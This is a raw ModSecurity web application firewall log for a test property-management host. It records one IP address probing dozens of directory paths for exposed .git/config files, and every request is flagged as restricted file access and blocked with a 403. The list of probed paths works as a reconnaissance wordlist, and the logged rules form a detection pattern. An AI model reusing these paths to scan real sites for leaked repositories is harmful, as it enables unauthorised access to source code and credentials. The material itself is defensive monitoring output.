[Thu Jan 16 14:20:44.242683 2025] [:error] [pid 510615] [client 45.135.232.70:48510] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rQAAAAk&quot;]
[Thu Jan 16 14:20:44.247912 2025] [:error] [pid 500655] [client 45.135.232.70:48638] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzewAAAAM&quot;]
[Thu Jan 16 14:20:44.248335 2025] [:error] [pid 500655] [client 45.135.232.70:48638] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzewAAAAM&quot;]
[Thu Jan 16 14:20:44.248594 2025] [:error] [pid 500655] [client 45.135.232.70:48638] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzewAAAAM&quot;]
[Thu Jan 16 14:20:44.251306 2025] [:error] [pid 510631] [client 45.135.232.70:48034] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVQAAAA4&quot;]
[Thu Jan 16 14:20:44.251649 2025] [:error] [pid 510631] [client 45.135.232.70:48034] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVQAAAA4&quot;]
[Thu Jan 16 14:20:44.251888 2025] [:error] [pid 510631] [client 45.135.232.70:48034] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVQAAAA4&quot;]
[Thu Jan 16 14:20:44.257389 2025] [:error] [pid 510637] [client 45.135.232.70:48516] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/services/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/services/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbwAAAA8&quot;]
[Thu Jan 16 14:20:44.257601 2025] [:error] [pid 510637] [client 45.135.232.70:48516] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/services/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbwAAAA8&quot;]
[Thu Jan 16 14:20:44.257753 2025] [:error] [pid 510637] [client 45.135.232.70:48516] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/services/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbwAAAA8&quot;]
[Thu Jan 16 14:20:44.258462 2025] [:error] [pid 501744] [client 45.135.232.70:48466] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFgAAAAY&quot;]
[Thu Jan 16 14:20:44.258964 2025] [:error] [pid 501744] [client 45.135.232.70:48466] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFgAAAAY&quot;]
[Thu Jan 16 14:20:44.259164 2025] [:error] [pid 510616] [client 45.135.232.70:48350] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MgAAAAo&quot;]
[Thu Jan 16 14:20:44.259350 2025] [:error] [pid 501744] [client 45.135.232.70:48466] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFgAAAAY&quot;]
[Thu Jan 16 14:20:44.259392 2025] [:error] [pid 510616] [client 45.135.232.70:48350] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MgAAAAo&quot;]
[Thu Jan 16 14:20:44.259593 2025] [:error] [pid 510616] [client 45.135.232.70:48350] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MgAAAAo&quot;]
[Thu Jan 16 14:20:44.263185 2025] [:error] [pid 510629] [client 45.135.232.70:48058] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/notifications/push/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/notifications/push/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozgAAAAw&quot;]
[Thu Jan 16 14:20:44.263381 2025] [:error] [pid 510629] [client 45.135.232.70:48058] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/notifications/push/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozgAAAAw&quot;]
[Thu Jan 16 14:20:44.263541 2025] [:error] [pid 510629] [client 45.135.232.70:48058] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/notifications/push/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozgAAAAw&quot;]
[Thu Jan 16 14:20:44.264934 2025] [:error] [pid 500653] [client 45.135.232.70:48676] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/services/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBAAAAAE&quot;]
[Thu Jan 16 14:20:44.264970 2025] [:error] [pid 510617] [client 45.135.232.70:48498] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJAAAAAs&quot;]
[Thu Jan 16 14:20:44.265206 2025] [:error] [pid 510617] [client 45.135.232.70:48498] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJAAAAAs&quot;]
[Thu Jan 16 14:20:44.265353 2025] [:error] [pid 510617] [client 45.135.232.70:48498] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJAAAAAs&quot;]
[Thu Jan 16 14:20:44.265483 2025] [:error] [pid 500653] [client 45.135.232.70:48676] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBAAAAAE&quot;]
[Thu Jan 16 14:20:44.265862 2025] [:error] [pid 500653] [client 45.135.232.70:48676] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBAAAAAE&quot;]
[Thu Jan 16 14:20:44.349422 2025] [:error] [pid 510615] [client 45.135.232.70:48744] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /queue/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rgAAAAk&quot;]
[Thu Jan 16 14:20:44.349802 2025] [:error] [pid 510615] [client 45.135.232.70:48744] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rgAAAAk&quot;]
[Thu Jan 16 14:20:44.350119 2025] [:error] [pid 510615] [client 45.135.232.70:48744] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rgAAAAk&quot;]
[Thu Jan 16 14:20:44.352857 2025] [:error] [pid 507252] [client 45.135.232.70:48394] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqgAAAAc&quot;]
[Thu Jan 16 14:20:44.353475 2025] [:error] [pid 507252] [client 45.135.232.70:48394] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqgAAAAc&quot;]
[Thu Jan 16 14:20:44.353920 2025] [:error] [pid 507252] [client 45.135.232.70:48394] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqgAAAAc&quot;]
[Thu Jan 16 14:20:44.355925 2025] [:error] [pid 500655] [client 45.135.232.70:48752] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfAAAAAM&quot;]
[Thu Jan 16 14:20:44.356267 2025] [:error] [pid 500655] [client 45.135.232.70:48752] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfAAAAAM&quot;]
